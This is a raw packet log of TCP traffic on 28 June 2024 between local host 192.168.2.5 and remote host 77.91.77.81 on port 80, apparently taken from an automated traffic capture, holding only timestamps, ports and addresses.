Jun 28, 2024 13:36:24.530603886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530618906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530632019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530632973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530647039 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530651093 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530662060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530668020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530675888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530689955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530695915 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530704975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530718088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530733109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530733109 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530734062 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530746937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.530749083 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530791044 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.530791044 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.541863918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.541886091 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.541902065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.541938066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.541938066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.541961908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.541970015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.541985989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.542013884 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.542031050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.542457104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.542473078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.542489052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.542504072 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.542521954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.542521954 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.542593956 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.542609930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.542624950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.542639017 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.542654991 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.542656898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.542668104 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.542671919 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.542686939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.542704105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.542716026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.542737961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.542737961 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.566724062 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.566766024 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.566777945 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.566792011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.566808939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.566821098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.566828012 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.566833973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.566859007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.566859007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.567032099 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.567078114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.567132950 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.567186117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607441902 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607481003 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607496023 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607503891 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607533932 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607534885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607534885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607551098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607568026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607575893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607584953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607604027 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607609987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607609987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607629061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607639074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607639074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607645988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607661963 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607688904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607688904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607709885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607752085 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607768059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607784986 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607794046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607801914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607806921 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607819080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607835054 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607835054 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607857943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607886076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607901096 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607924938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.607955933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.607955933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.608897924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.608920097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.608933926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.608947992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.608962059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.608968019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.608975887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.608989954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609004021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609014988 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609025955 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609034061 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609040022 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609046936 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609062910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609072924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609076977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609091043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609106064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609107018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609121084 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609131098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609136105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609150887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609172106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609172106 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609172106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609186888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609200954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609211922 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609211922 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609215975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609230042 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609234095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609244108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.609262943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609262943 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609270096 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.609277964 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610234022 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610286951 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610301018 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610321999 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610321999 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610341072 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610353947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610368013 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610383034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610399008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610409975 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610440016 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610487938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610502005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610517025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610531092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610534906 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610544920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610558987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610558987 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610558987 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610575914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610588074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610599995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610611916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610611916 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610765934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610780954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610795021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610809088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.610816956 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.610884905 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.611052036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.611109972 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.611521959 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.611546993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.611561060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.611608028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.611608028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.611622095 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.611680031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.611695051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.611710072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.611725092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.611735106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.611740112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.611768007 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.611799955 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612222910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612296104 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612310886 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612317085 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612382889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612406969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612420082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612433910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612468004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612468004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612504005 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612518072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612534046 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612571001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612571001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612602949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612617970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612632036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612648010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612663984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612664938 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612678051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612690926 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612693071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612706900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612706900 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612725019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612730026 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612744093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612747908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612757921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612772942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612781048 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612787008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612801075 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612802982 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612814903 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612814903 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612833977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612855911 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.612890959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.612890959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.628447056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.628473997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.628498077 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.628506899 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.628520012 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.628552914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.628559113 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.628568888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.628586054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.628591061 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.628602028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.628629923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.628629923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.628669024 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653008938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653037071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653050900 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653074026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653074026 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653105974 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653109074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653121948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653140068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653153896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653163910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653181076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653197050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653220892 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653220892 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653249025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653264999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653332949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653342009 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653348923 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653382063 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653393030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653409004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653419018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653429031 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.653449059 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653449059 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.653476000 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693425894 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693456888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693473101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693478107 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693495989 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693511009 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693520069 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693520069 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693538904 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693551064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693551064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693555117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693572044 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693588018 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693624020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693624973 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693640947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693655968 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693671942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693689108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693691969 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693703890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693716049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693716049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693753004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693770885 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693842888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693888903 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.693954945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693969011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693984032 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.693999052 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694009066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694009066 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694014072 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694022894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694029093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694051027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694051027 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694072008 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694075108 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694135904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694161892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694176912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694191933 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694206953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694233894 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694262028 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694315910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694329977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694344997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694359064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694372892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694377899 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694407940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694407940 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694550037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694565058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694587946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694601059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:24.694614887 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:24.694616079 CEST	80	49721	77.91.77.81	192.168.2.5
